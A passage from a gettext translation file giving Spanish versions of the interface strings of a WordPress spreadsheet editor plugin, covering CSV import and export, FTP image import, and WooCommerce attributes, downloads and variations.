"duplicar." #: spreadsheet-setup/spreadsheet-setup.php:62 msgid "Enable new spreadsheet" msgstr "Habilitar nueva hoja de cálculo" #: spreadsheet-setup/spreadsheet-setup.php:175 msgid "Post type deleted" msgstr "Post type eliminado" #: spreadsheet-setup/spreadsheet-setup.php:275 msgid "Setup spreadsheet" msgstr "Generar hoja de cálculo" #: spreadsheet-setup/views/page.php:14 msgid "Set up Spreadsheet" msgstr "Generar hoja de cálculo" #: spreadsheet-setup/views/page.php:18 #: wp-sheet-editor/dev/views/quick-setup.php:41 msgid "" "You can start using the spreadsheet editor in just 5 minutes. Please follow " "these steps." msgstr "" "Puedes empezar a usar el editor de hojas de cálculo en sólo 5 minutos. Por " "favor, sigue estos pasos." #: spreadsheet-setup/views/page.php:32 msgid "" "Are you sure you want to delete the post type? You will delete the posts in " "the post type as well" msgstr "" "¿Seguro de que quieres borrar este post type? También borrarás los post en " "el post type" #: spreadsheet-setup/views/page.php:36 #: wp-sheet-editor/dev/views/quick-setup.php:48 msgid "" "Select the information that you want to edit with the spreadsheet editor." msgstr "" "Selecciona la información que quieres editar con el editor de hojas de " "cálculo." #: spreadsheet-setup/views/page.php:39 msgid "Add new post type" msgstr "Añadir un nuevo post type" #: spreadsheet-setup/views/page.php:45 #: wp-sheet-editor/dev/inc/api/bootstrap.php:194 #: wp-sheet-editor/dev/views/settings-form.php:96 msgid "Advanced settings" msgstr "Configuración avanzada" #: spreadsheet-setup/views/page.php:45 msgid "Label" msgstr "Etiqueta" #: spreadsheet-setup/views/page.php:45 msgid "Key" msgstr "Clave" #: universal-sheet/inc/csv-api.php:174 msgid "Allow to import images from FTP servers?" msgstr "¿Permitir la importación de imágenes desde servidores FTP?" #: universal-sheet/inc/csv-api.php:175 msgid "" "By default, the importer allows to save images using full internal URLs, " "external URLs, file name (from the media library), and file ID. If you " "activate this option, it will support FTP urls like this: ftp://user:" "password@host:port/path/to/image.png. This will make the import slower" msgstr "" "Por defecto, el importador permite guardar imágenes usando URLs internas " "completas, URLs externas, nombre de archivo (de la biblioteca multimedia) e " "IDs de archivo. Si habilitas esta opción, soportará URLs FTP como esta: " "ftp://user:password@host:port/path/to/image.png. Esto hará que la " "importación sea más lenta" #: universal-sheet/inc/csv-api.php:181 msgid "FTP Images: Skip images with same file name?" msgstr "Imágenes FTP: ¿Omitir imágenes con el mismo nombre de archivo?" #: universal-sheet/inc/csv-api.php:182 msgid "" "When you import an image using FTP urls, the image is imported every time " "and you might end up with duplicates in the media library. Activate this " "option to reuse images in the media library with same file name and avoid " "downloading the FTP image again on future imports. Deactivate this option if " "you want to keep the images updated on future imports." msgstr "" "Cuando se importa una imagen mediante URLs de FTP, la imagen se importa cada " "vez y puedes terminar con duplicados en la biblioteca multimedia. Habilita " "esta opción para reutilizar las imágenes de la biblioteca multimedia con el " "mismo nombre de archivo y evita descargar la imagen FTP de nuevo en futuras " "importaciones. Desactiva esta opción si quieres mantener las imágenes " "actualizadas en futuras importaciones." #: universal-sheet/inc/csv-api.php:202 msgid "" "The exported file does not exist. This could happen for the following " "reasons:" msgstr "" "El archivo exportado no existe. Esto puede ocurrir por las siguientes " "razones:" #: universal-sheet/inc/csv-api.php:204 msgid "" "If you are trying to download something that was exported several hours ago, " "the file might have expired. Files expire after %s hours." msgstr "" "Si estás intentando descargar algo que se exportó hace varias horas, es " "posible que el archivo haya caducado. Los archivos caducan al cabo de %s " "horas." #: universal-sheet/inc/csv-api.php:205 msgid "" "Maybe your server did not allow us to create the file. It happens if your " "server is not configured correctly and our folder %s does not have write " "permissions, so we're not able to create the file. You should request help " "from your hosting provider." msgstr "" "Tal vez tu servidor no nos permitió crear el archivo. Ocurre si tu servidor " "no está configurado correctamente y nuestra carpeta %s no tiene permisos de " "escritura, por lo que no podemos crear el archivo. Deberías solicitar ayuda " "a tu proveedor de hosting." #: universal-sheet/inc/csv-api.php:379 msgid "Missing required field \"data\"." msgstr "\"Datos\" del campo requerido faltantes." #: universal-sheet/inc/csv-api.php:469 msgid "Missing required field. Please start the process again." msgstr "Campo requerido faltante. Por favor, inicia el proceso de nuevo." #: universal-sheet/inc/csv-api.php:473 msgid "Writing type not allowed." msgstr "Tipo de escritura no permitida." #: universal-sheet/inc/csv-api.php:477 msgid "Not allowed." msgstr "No está permitido." #: universal-sheet/inc/csv-api.php:571 msgid "The import is completed." msgstr "La importación se ha completado." #: universal-sheet/inc/csv-api.php:790 msgid "" "%1$d of %2$d items have been processed from the file. {total_updated} items " "updated and {total_created} items created." msgstr "" "%1$d de %2$d filas se han procesado desde el archivo. {total_updated} filas " "actualizadas y {total_created} filas creadas." #: universal-sheet/inc/csv-api.php:817 msgid "Not allowed. Please start the process again." msgstr "No permitido. Por favor, inicia el proceso de nuevo." #: universal-sheet/inc/csv-api.php:836 msgid "Wrong file url" msgstr "URL del archivo incorrecta" #: universal-sheet/inc/csv-api.php:840 universal-sheet/inc/csv-api.php:860 #: universal-sheet/inc/csv-api.php:891 msgid "Wrong file extension. We accept CSV only" msgstr "Extensión del archivo incorrecta. Sólo aceptamos archivos CSV" #: universal-sheet/inc/csv-api.php:855 universal-sheet/inc/csv-api.php:898 msgid "File could not be uploaded. Please start the process again." msgstr "" "No se ha podido cargar el archivo. Por favor, inicia el proceso de nuevo." #: universal-sheet/inc/csv-api.php:868 msgid "Wrong data format" msgstr "Formato de datos incorrecto" #: universal-sheet/inc/csv-api.php:887 msgid "The file doesn't exist. Invalid path: %s" msgstr "El archivo no existe. Ruta inválida: %s" #: universal-sheet/inc/csv-api.php:907 msgid "" "File uploaded succesfully but it's not a valid CSV file or it uses the wrong " "encoding. If you edited the file in Excel, verify it was saved as UTF-8 and " "keep in mind that, sometimes copy pasting from external places adds invalid " "characters. So make sure you paste only the values and not paste the " "formatting to avoid pasting invalid characters." msgstr "" "El archivo se subió con éxito pero no es un archivo CSV válido o utiliza una " "codificación incorrecta. Si editaste el archivo en Excel, verifica que se " "guardó como UTF-8 y ten en cuenta que, a veces, copiar el pegado de lugares " "externos añade caracteres no válidos. Por lo tanto, asegúrate de pegar sólo " "los valores y no el formato para evitar pegar caracteres inválidos." #: universal-sheet/inc/csv-api.php:1098 msgid "Processing: %1$d of %2$d rows have been exported." msgstr "Procesando: Se han exportado %1$d de %2$d filas." #: universal-sheet/inc/csv-api.php:1113 msgid "" "

                  The export finished.

                  The download should start automatically." msgstr "" "

                  La exportación finalizó.

                  La descarga debería empezar automáticamente." #: universal-sheet/inc/csv-api.php:1115 msgid "" " If it doesn't start automatically you can find the file in the folder /wp-" "content/uploads/wp-sheet-editor/exports/ on your server.

                  The export " "files are deleted automatically after %d hours." msgstr "" " Si no se inicia automáticamente, puedes encontrar el archivo en la carpeta /" "wp-content/uploads/wp-sheet-editor/exports/ en tu servidor.

                  Los " "archivos de exportación se borran automáticamente después de %d horas." #: universal-sheet/universal-sheet.php:61 #: universal-sheet/universal-sheet.php:72 #, fuzzy #| msgid "- -" msgid "--" msgstr "- -" #: universal-sheet/universal-sheet.php:62 msgid "CSV file from my computer" msgstr "Archivo CSV desde mi computadora" #: universal-sheet/universal-sheet.php:63 msgid "CSV file from url" msgstr "Archivo CSV desde una URL" #: universal-sheet/universal-sheet.php:64 msgid "Copy & paste from another spreadsheet or table" msgstr "Copiar y pegar desde otra hoja de cálculo o tabla" #: universal-sheet/universal-sheet.php:65 msgid "CSV file in the server" msgstr "Archivo CSV en el servidor" #: universal-sheet/universal-sheet.php:73 msgid "Microsoft Excel (Office 365)" msgstr "Microsoft Excel (Office 365)" #: universal-sheet/universal-sheet.php:74 msgid "Google Sheets" msgstr "Hojas de Cálculo de Google" #: universal-sheet/universal-sheet.php:75 msgid "Other" msgstr "Otro" #: universal-sheet/universal-sheet.php:78 msgid "Older versions of Microsoft Excel" msgstr "Versiones más antiguas de Microsoft Excel" #: universal-sheet/universal-sheet.php:124 msgid "Ignore this column" msgstr "Ignorar esta columna" #: universal-sheet/universal-sheet.php:132 #: universal-sheet/views/import-modal.php:147 msgid "Full URL" msgstr "URL Completa" #: universal-sheet/universal-sheet.php:172 msgid "Export" msgstr "Exportar" #: universal-sheet/universal-sheet.php:197 msgid "Download CSV file" msgstr "Descargar archivo CSV" #: universal-sheet/universal-sheet.php:205 msgid "Import" msgstr "Importar" #: universal-sheet/views/export-modal.php:9 msgid "" "The export feature is not compatible with your website. Make sure WordPress " "and all the plugins and themes are up to date." msgstr "" "La función de exportación no es compatible con tu sitio web. Asegúrate de " "que WordPress y todos los plugins y temas estén actualizados." #: universal-sheet/views/export-modal.php:12 #: universal-sheet/views/export-modal.php:21 msgid "Export to CSV" msgstr "Exportar a un archivo CSV" #: universal-sheet/views/export-modal.php:25 msgid "What columns do you want to export?" msgstr "¿Qué columnas quieres exportar?" #: universal-sheet/views/export-modal.php:33 msgid "Select active columns" msgstr "Seleccionar columnas habilitadas" #: universal-sheet/views/export-modal.php:34 woocommerce/inc/attributes.php:324 #: woocommerce/inc/attributes.php:356 msgid "Select all" msgstr "Seleccionar todas" #: universal-sheet/views/export-modal.php:35 msgid "Unselect all" msgstr "Deseleccionar todas" #: universal-sheet/views/export-modal.php:40 msgid "Which rows do you want to export?" msgstr "¿Qué filas quieres exportar?" #: universal-sheet/views/export-modal.php:42 msgid "All the rows from my current search" msgstr "Todas las filas de mi lista actual" #: universal-sheet/views/export-modal.php:43 msgid "Rows that I selected manually with the checkbox" msgstr "Las filas que he seleccionado manualmente en la hoja de cálculo" #: universal-sheet/views/export-modal.php:48 msgid "What app will you use to edit this file? (optional)" msgstr "¿Qué aplicación usarás para editar este archivo CSV? (opcional)" #: universal-sheet/views/export-modal.php:66 #: wp-sheet-editor/dev/inc/api/editor.php:305 msgid "Name of this export (optional)" msgstr "Nombre de esta exportación (opcional)" #: universal-sheet/views/export-modal.php:66 msgid "" "We will save the current search query and export settings, and you can " "execute this export with one click in the future using the dropdown in the " "export menu" msgstr "" "Guardaremos la consulta de búsqueda actual y la configuración de la " "exportación, y podrás ejecutar esta exportación con un solo clic en el " "futuro usando el desplegable del menú de exportación" #: universal-sheet/views/export-modal.php:83 msgid "Start new export" msgstr "Iniciar nueva exportación" #: universal-sheet/views/import-modal.php:10 msgid "" "The import feature is not compatible with your website. Make sure WordPress " "and all the plugins and themes are up to date." msgstr "" "La función de importación no es compatible con tu sitio web. Asegúrate de " "que WordPress y todos los plugins y temas estén actualizados." #: universal-sheet/views/import-modal.php:13 #: universal-sheet/views/import-modal.php:24 msgid "Import csv" msgstr "Importar CSV" #: universal-sheet/views/import-modal.php:26 msgid "Source" msgstr "Fuente" #: universal-sheet/views/import-modal.php:38 msgid "CSV file" msgstr "Archivo CSV" #: universal-sheet/views/import-modal.php:40 #: universal-sheet/views/import-modal.php:45 #: universal-sheet/views/import-modal.php:51 #: universal-sheet/views/import-modal.php:61 #: universal-sheet/views/import-modal.php:99 #: universal-sheet/views/import-modal.php:168 msgid "Next" msgstr "Siguiente" #: universal-sheet/views/import-modal.php:48 msgid "Copy and Paste into the spreadsheet below" msgstr "Copiar y pegar en la siguiente hoja de cálculo" #: universal-sheet/views/import-modal.php:54 msgid "CSV file location" msgstr "Ubicación del archivo CSV" #: universal-sheet/views/import-modal.php:54 msgid "" "You must enter a file name in this field (not full path) and upload the file " "to the folder %s" msgstr "" "Debes ingresar un nombre de archivo en este campo (no la ruta completa) y " "subir el archivo a la carpeta %s" #: universal-sheet/views/import-modal.php:65 #: universal-sheet/views/import-modal.php:177 msgid "Show advanced options" msgstr "Mostrar opciones avanzadas" #: universal-sheet/views/import-modal.php:68 msgid "Separator" msgstr "Separador" #: universal-sheet/views/import-modal.php:73 msgid "" "Tip. You can use the \"export\" tool to download a CSV and see the available " "columns and format.
                  You can read our documentation here." msgstr "" "Consejo. Puedes usar la herramienta \"Exportar\" para descargar un archivo " "CSV y ver las columnas y el formato disponibles.
                  Puedes leer nuestra documentación aquí." #: universal-sheet/views/import-modal.php:79 msgid "Select columns to import" msgstr "Selecciona las columnas a importar" #: universal-sheet/views/import-modal.php:80 msgid "" "Important. We only detected one column in the CSV file. If this is " "incorrect, follow these steps to fix it" msgstr "" "Importante. Sólo hemos detectado una columna en el archivo CSV. Si esto es " "incorrecto, sigue estos pasos para " "arreglarlo." #: universal-sheet/views/import-modal.php:81 msgid "We automatically detected all the columns." msgstr "Detectamos todas las columnas automáticamente" #: universal-sheet/views/import-modal.php:81 msgid "Import all the columns" msgstr "Importar todas las columnas" #: universal-sheet/views/import-modal.php:81 msgid "or" msgstr "o" #: universal-sheet/views/import-modal.php:81 msgid "Select individual columns to import" msgstr "Seleccionar columnas individuales a importar" #: universal-sheet/views/import-modal.php:83 msgid "" "Tip. If you edited information from this site, you should import the columns " "edited and record_id. Don't import columns that weren't modified" msgstr "" "Consejo. Si has editado información de este sitio, debes importar las " "columnas editadas y el record_id. No importes columnas que no hayan sido " "modificadas" #: universal-sheet/views/import-modal.php:85 msgid "Unselect all columns" msgstr "Deseleccionar todas las columnas" #: universal-sheet/views/import-modal.php:86 msgid "CSV Column" msgstr "Columna en el CSV" #: universal-sheet/views/import-modal.php:86 msgid "WordPress field" msgstr "Campo en WordPress" #: universal-sheet/views/import-modal.php:88 msgid "Example: " msgstr "Ejemplo: " #: universal-sheet/views/import-modal.php:97 msgid "Remember this column mapping configuration?" msgstr "¿Recordar esta configuración de columnas para futuras importaciones?" #: universal-sheet/views/import-modal.php:98 #: universal-sheet/views/import-modal.php:167 #: universal-sheet/views/import-modal.php:202 msgid "Previous" msgstr "Anterior" #: universal-sheet/views/import-modal.php:102 msgid "Do you want to update or create items?" msgstr "¿Quieres actualizar o crear filas?" #: universal-sheet/views/import-modal.php:105 msgid "Create new items and update existing items" msgstr "Crear nuevas filas y actualizar las filas existentes" #: universal-sheet/views/import-modal.php:106 msgid "Import all rows as new" msgstr "Importar todas las filas como nuevas" #: universal-sheet/views/import-modal.php:107 msgid "Only create new items, ignore existing items" msgstr "Sólo crear las filas nuevas, ignorar las filas existentes" #: universal-sheet/views/import-modal.php:108 msgid "Update existing items, ignore new items" msgstr "Actualizar las filas existentes, ignorar las filas nuevas" #: universal-sheet/views/import-modal.php:111 msgid "How do we find existing items to update?" msgstr "¿Cómo debemos encontrar los elementos existentes a editar?" #: universal-sheet/views/import-modal.php:115 msgid "" "We find rows with the same value in the CSV Field and the WP Field.
                  I.e. " "Products with same SKU or ID." msgstr "" "Encontraremos filas con el mismo valor en la Columna en el CSV y en el Campo " "en WP.
                  Por ejemplo, productos con el mismo SKU o ID." #: universal-sheet/views/import-modal.php:117 msgid "" "You selected a column from the CSV file below but the column is not " "
                  being imported. Please go to the previous step and select the column to " "be imported.
                  Hypothetical example, if you want to update existing " "products with same ID, you need to import the ID column otherwise we don't " "have the IDs to find them." msgstr "" "Seleccionaste una columna del archivo CSV de abajo, pero la columna no está " "
                  siendo importada. Por favor, ve al paso anterior y selecciona la " "columna a importar.
                  Ejemplo hipotético, si quieres actualizar productos " "existentes con el mismo ID, necesitas importar la columna ID, de lo " "contrario no tenemos los ID para encontrarlos." #: universal-sheet/views/import-modal.php:119 msgid "CSV Field" msgstr "Columna en el CSV" #: universal-sheet/views/import-modal.php:125 msgid "WordPress Field" msgstr "Campo en WordPress" #: universal-sheet/views/import-modal.php:154 msgid "Field 2: CSV Field" msgstr "Campo 2: Columna en el CSV" #: universal-sheet/views/import-modal.php:160 msgid "Field 2: WordPress Field" msgstr "Campo 2: Campo en WordPress" #: universal-sheet/views/import-modal.php:171 msgid "Final step" msgstr "Paso final" #: universal-sheet/views/import-modal.php:172 msgid "" "1. Are we reading the file properly? Here is a preview of the first 5 rows " "from the file." msgstr "" "1. ¿Estamos leyendo bien el archivo? Aquí hay una vista previa de las " "primeras 5 filas del archivo." #: universal-sheet/views/import-modal.php:174 msgid "" "2. Please make a backup before executing the import, so you can revert in " "case you used wrong settings or the file was wrong. The import will save the " "information directly." msgstr "" "2. Por favor, haz una copia de seguridad antes de ejecutar la importación, " "para que puedas revertirla en caso de que hayas usado una configuración " "incorrecta o el archivo sea erróneo. La importación guardará la información " "directamente." #: universal-sheet/views/import-modal.php:180 msgid "Number of rows to process per batch:" msgstr "Número de filas a procesar por lote:" #: universal-sheet/views/import-modal.php:180 msgid "Leave empty to use the global settings." msgstr "Déjalo vacío para usar los ajustes globales." #: universal-sheet/views/import-modal.php:184 msgid "Start from row number:" msgstr "Comenzar desde este número de fila:" #: universal-sheet/views/import-modal.php:184 msgid "" "If you stop an import to edit your CSV file or change the import speed, you " "can start a new import and continue from where you left off." msgstr "" "Si detienes una importación para editar el archivo CSV o cambias la " "velocidad de importación, puedes iniciar una nueva importación y continuar " "desde donde la dejaste." #: universal-sheet/views/import-modal.php:188 msgid "Decode quotes?" msgstr "¿Decodificar las comillas?" #: universal-sheet/views/import-modal.php:191 msgid "Auto retry failed batches?" msgstr "¿Reintentar automáticamente los lotes fallidos?" #: universal-sheet/views/import-modal.php:191 msgid "" "We import the file in batches (i.e. 4 rows every few seconds). When one " "batch fails, we normally pause the import and ask you if you want to retry " "or cancel the import. Select this option to auto retry. Careful, you need to " "select the option to update existing rows in step 3 of the import, so we can " "retry and skip what was imported successfully and only retry what failed, if " "you dont select the option to update in step 3 of the import, every retry " "might duplicate some previously imported rows." msgstr "" "Importamos el archivo por lotes (es decir, 4 filas cada cierta cantidad de " "segundos). Cuando un lote falla, normalmente pausamos la importación y te " "preguntamos si quieres volver a intentarlo o cancelar la importación. " "Selecciona esta opción para ejecutar el reintento automático. Cuidado: Hay " "que seleccionar la opción de actualizar las filas existentes en el paso 3 de " "la importación, para que podamos reintentar y omitir lo que se importó con " "éxito y sólo reintentar lo que falló. Si no se selecciona la opción de " "actualizar en el paso 3 de la importación, cada reintento podría duplicar " "algunas filas previamente importadas." #: universal-sheet/views/import-modal.php:195 msgid "Set post status to \"pending\" if featured image saving failed?" msgstr "" "¿Guardar con estado \"Pendiente\" si el guardado de la imagen destacada " "falló?" #: universal-sheet/views/import-modal.php:195 msgid "" "This option works only if you are importing the featured image column and " "saving the featured image failed." msgstr "" "Esta opción aplica solo si estás importando la columna de imagen destacada y " "falla el guardado de la imagen." #: universal-sheet/views/import-modal.php:214 msgid "The preview is fine, start import" msgstr "La vista previa está bien, iniciar importación" #: universal-sheet/views/import-modal.php:215 msgid "Cancel import" msgstr "Cancelar la importación" #: universal-sheet/views/import-modal.php:218 msgid "Importing" msgstr "Importando" #: universal-sheet/views/import-modal.php:226 msgid "View log" msgstr "Ver registro" #: woocommerce/inc/attributes.php:69 woocommerce/inc/attributes.php:715 msgid "Product attributes" msgstr "Atributos del producto" #: woocommerce/inc/attributes.php:266 msgid "Change attribute settings" msgstr "Cambiar los ajustes de los atributos" #: woocommerce/inc/attributes.php:274 msgid "What setting do you want to change?" msgstr "¿Qué ajuste quieres cambiar?" #: woocommerce/inc/attributes.php:276 msgid "Is Visible?" msgstr "¿Es visible?" #: woocommerce/inc/attributes.php:276 msgid "Used for Variations?" msgstr "¿Usado para variaciones?" #: woocommerce/inc/attributes.php:279 msgid "New value" msgstr "Nuevo valor" #: woocommerce/inc/attributes.php:284 msgid "What attribute do you want to edit?" msgstr "¿Qué atributo quieres editar?" #: woocommerce/inc/attributes.php:292 msgid "Replace a default attribute term" msgstr "Reemplazar un término de atributo por defecto" #: woocommerce/inc/attributes.php:300 msgid "Enter the attribute name" msgstr "Ingresa el nombre del atributo" #: woocommerce/inc/attributes.php:301 msgid "" "If this is a global attribute, enter the attribute key (i.e. pa_color). " "Enter the name if this is a custom attribute." msgstr "" "Si se trata de un atributo global, ingresa la clave del atributo (por " "ejemplo, pa_color). Ingresa el nombre si se trata de un atributo " "personalizado." #: woocommerce/inc/attributes.php:305 msgid "Replace this term" msgstr "Reemplazar este término" #: woocommerce/inc/attributes.php:307 msgid "Enter the term name or slug." msgstr "Ingresa el nombre o el slug del término." #: woocommerce/inc/attributes.php:310 msgid "With this term" msgstr "Con este término" #: woocommerce/inc/attributes.php:312 msgid "Leave this empty if you want to unset the term." msgstr "Deja este campo vacío si quieres anular el término." #: woocommerce/inc/attributes.php:671 msgid "Custom attribute: %s" msgstr "Atributo personalizado: %s" #: woocommerce/inc/attributes.php:684 msgid "Enter multiple attributes separated by |" msgstr "Ingresa varios atributos separados por |" #: woocommerce/inc/attributes.php:729 woocommerce/inc/attributes.php:731 msgid "Edit attributes" msgstr "Editar atributos" #: woocommerce/inc/attributes.php:732 msgid "" "Note: Separate values with the character %1$s
                  We recommend using Global " "Attributes if you will use them in many products.Create Global Attribute
                  Global attributes have " "their own columns in the spreadsheet. You can edit them in the columns " "(faster) or using this popup.
                  If you are editing the attributes of variations, the variation " "must be enabled, otherwise the attributes won't be saved." msgstr "" "Nota: Separa los valores con el caracter %1$s
                  Te recomendamos usar " "Atributos Globales si los vas a usar en muchos productos.Crear Atributos Globales
                  Los atributos globales " "tienen sus propias columnas en la hoja de cálculo. Puedes editarlos en las " "columnas (más rápido) o usando esta ventana emergente.
                  Si estás editando los atributos de variaciones, la " "variación debe estar habilitada. De lo contrario, los atributos no se " "guardarán." #: woocommerce/inc/attributes.php:779 msgid "Position" msgstr "Posición" #: woocommerce/inc/attributes.php:779 msgid "Is visible?" msgstr "¿Es visible?" #: woocommerce/inc/attributes.php:779 msgid "Used for variation?" msgstr "¿Usado para variaciones?" #: woocommerce/inc/downloadable.php:110 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:667 msgid "Downloadable" msgstr "Descargable" #: woocommerce/inc/downloadable.php:132 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:801 msgid "Download limit" msgstr "Límite de descargas" #: woocommerce/inc/downloadable.php:148 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:813 msgid "Download expiry" msgstr "Caducidad de la descarga" #: woocommerce/inc/downloadable.php:164 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:825 msgid "Download type" msgstr "Tipo de descarga" #: woocommerce/inc/downloadable.php:171 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:829 msgid "Standard Product" msgstr "Producto estándar" #: woocommerce/inc/downloadable.php:172 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:830 msgid "Application/Software" msgstr "Aplicación/Software" #: woocommerce/inc/downloadable.php:173 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:831 msgid "Music" msgstr "Música" #: woocommerce/inc/downloadable.php:186 msgid "Download files : names" msgstr "Archivos descargables: Nombres" #: woocommerce/inc/downloadable.php:194 msgid "" "This is optional. Leave empty to use the name from the URLs. Enter multiple " "names separated by commas" msgstr "" "Esto es opcional. Déjalo vacío para usar el nombre de las URLs. Ingresa " "varios nombres separados por comas." #: woocommerce/inc/downloadable.php:206 msgid "Download files : URLs" msgstr "Archivos descargables: URLs" #: woocommerce/inc/downloadable.php:213 msgid "Enter multiple URLs separated by commas" msgstr "Ingresa múltiples URLs separadas por comas" #: woocommerce/inc/downloadable.php:229 woocommerce/inc/downloadable.php:233 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:840 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:844 msgid "Download files" msgstr "Archivos descargables" #: woocommerce/inc/downloadable.php:231 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:842 msgid "Edit files" msgstr "Editar archivos" #: woocommerce/inc/downloadable.php:234 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:845 msgid "" "Copy files from this product: (You need to save the changes afterwards.)" msgstr "" "Copiar archivos de este producto: (Necesitas guardar los cambios después.)" #: woocommerce/inc/downloadable.php:234 #: woocommerce/views/spreadsheet-create-variations-modal.php:21 #: woocommerce/views/spreadsheet-create-variations-modal.php:48 #: woocommerce/views/spreadsheet-create-variations-modal.php:89 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:845 msgid "Select product..." msgstr "Seleccionar producto...." #: woocommerce/inc/downloadable.php:258 woocommerce/inc/downloadable.php:259 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:868 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:869 msgid "File (url or path)" msgstr "Archivo (URL o ruta)" #: woocommerce/inc/downloadable.php:289 msgid "" "We will save these files. Existing files will be overwritten. Enter file URL " "only, you can enter multiple URLs separated by comma." msgstr "" "Guardaremos estos archivos. Los archivos existentes se sobrescribirán. " "Ingresa sólo la URL del archivo. Puedes ingresar múltiples URLs separadas " "por comas." #: woocommerce/inc/downloadable.php:293 msgid "" "We will append the new file to the existing files in the products. Enter " "file URL only, you can enter multiple URLs separated by comma." msgstr "" "Añadiremos el nuevo archivo al inicio de los archivos existentes en los " "productos. Ingresa sólo la URL del archivo, puedes ingresar múltiples URLs " "separadas por comas." #: woocommerce/inc/downloadable.php:371 woocommerce/inc/variations.php:1317 msgid "Please select a product." msgstr "Por favor, selecciona un producto." #: woocommerce/inc/downloadable.php:401 msgid "Files saved." msgstr "Archivos guardados." #: woocommerce/inc/downloadable.php:404 msgid "The files could not be saved." msgstr "Los archivos no se pudieron guardar." #: woocommerce/inc/formatting.php:57 msgid "" "The \"Regular price\" column is hidden now. Please enable it in the columns " "manager before running this bulk edit." msgstr "" "La columna \"Precio normal\" está oculta. Actívala en el gestor de columnas " "antes de realizar esta edición masiva." #: woocommerce/inc/import-export.php:97 woocommerce/woocommerce.php:701 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:498 msgid "Type" msgstr "Tipo" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:98 woocommerce/inc/import-export.php:196 #: woocommerce/woocommerce.php:403 msgid "Attribute %d name" msgstr "Nombre del atributo %d" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:99 woocommerce/inc/import-export.php:197 #: woocommerce/woocommerce.php:405 msgid "Attribute %d value(s)" msgstr "Valor del/los atributo(s) %d" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:100 woocommerce/inc/import-export.php:198 #: woocommerce/woocommerce.php:407 msgid "Attribute %d visible" msgstr "Atributo %d visible" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:101 woocommerce/inc/import-export.php:199 #: woocommerce/woocommerce.php:409 msgid "Attribute %d global" msgstr "Atributo %d global" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:200 woocommerce/woocommerce.php:411 msgid "Attribute %d default" msgstr "Atributo %d por defecto" #. translators: %d: Download number #: woocommerce/inc/import-export.php:203 woocommerce/woocommerce.php:413 msgid "Download %d name" msgstr "Nombre de la descarga %d" #: woocommerce/inc/import-export.php:204 msgid "Download %d ID" msgstr "ID de la descarga %d" #. translators: %d: Download number #: woocommerce/inc/import-export.php:205 woocommerce/woocommerce.php:415 msgid "Download %d URL" msgstr "URL de la descarga %d" #: woocommerce/inc/import-export.php:319 msgid "Skip broken images?" msgstr "¿Omitir las imágenes rotas?" #: woocommerce/inc/import-export.php:319 msgid "" "By the default, the import stops when a product references a broken images " "and you have to correct the issue in the file and start a new import. Enable " "this option and we will let you import products without images when the " "image url is broken" msgstr "" "Por defecto, la importación se detiene cuando un producto hace referencia a " "una imagen rota y hay que corregir el problema en el archivo e iniciar una " "nueva importación. Habilita esta opción y te permitiremos importar productos " "sin imágenes cuando la URL de la imagen esté rota" #: woocommerce/inc/import-export.php:326 msgid "Downloads" msgstr "Descargas" #: woocommerce/inc/import-export.php:327 msgid "Attributes" msgstr "Atributos" #: woocommerce/inc/import-export.php:458 msgid "" "Here is a sample CSV containing all " "types of products." msgstr "" "Aquí hay un archivo CSV como ejemplo " "que contiene todo tipo de productos." #: woocommerce/inc/import-export.php:617 msgid "" "One variation row has a parent product that does not exist. The \"parent\" " "column contains the %1$s: %2$s. Please correct it and start a new import" msgstr "" "Una fila de variación tiene un producto padre que no existe. La columna " "\"padre\" contiene el %1$s: %2$s. Por favor, corrígelo e inicia una nueva " "importación" #: woocommerce/inc/variations.php:28 #: woocommerce/views/spreadsheet-create-variations-modal.php:10 #: woocommerce/views/spreadsheet-create-variations-modal.php:75 #: wp-sheet-editor/dev/inc/api/editor.php:324 msgid "Create variations" msgstr "Crear variaciones" #: woocommerce/inc/variations.php:30 msgid "Create and copy variations for variable products." msgstr "Crear y copiar variaciones para los productos variables." #: woocommerce/inc/variations.php:38 msgid "Display variations" msgstr "Mostrar las variaciones" #: woocommerce/inc/variations.php:40 msgid "" "When this is enabled the products variations will be displayed and you will " "be able to edit them." msgstr "" "Cuando esta opción está habilitada, las variaciones de los productos se " "mostrarán y podrás editarlas." #: woocommerce/inc/variations.php:362 msgid "Edit only parent products" msgstr "Editar solo los productos simples y padres" #: woocommerce/inc/variations.php:363 msgid "Edit only variations" msgstr "Editar solo las variaciones" #: woocommerce/inc/variations.php:410 msgid "Allow to edit this column on variation rows?" msgstr "¿Permitir editar esta columna en las filas de variaciones?" #: woocommerce/inc/variations.php:411 msgid "" "We automatically allow columns for variations if at least one variation is " "using that field." msgstr "" "Automáticamente, permitimos la edición de columnas en filas de variaciones " "si al menos una variación usa ese campo." #: woocommerce/inc/variations.php:458 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:889 msgid "Variation description" msgstr "Descripción de la variación" #: woocommerce/inc/variations.php:469 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:907 msgid "Variation enabled?" msgstr "¿Variación habilitada?" #: woocommerce/inc/variations.php:486 woocommerce/inc/variations.php:488 #: woocommerce/inc/variations.php:490 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:926 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:928 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:930 msgid "Default attributes" msgstr "Atributos predeterminados" #: woocommerce/inc/variations.php:491 msgid "" "Attributes appear as dropdowns in the product page where the user can select " "the variation colors, sizes, and any attribute. Here you can define the " "default options selected in the dropdowns.
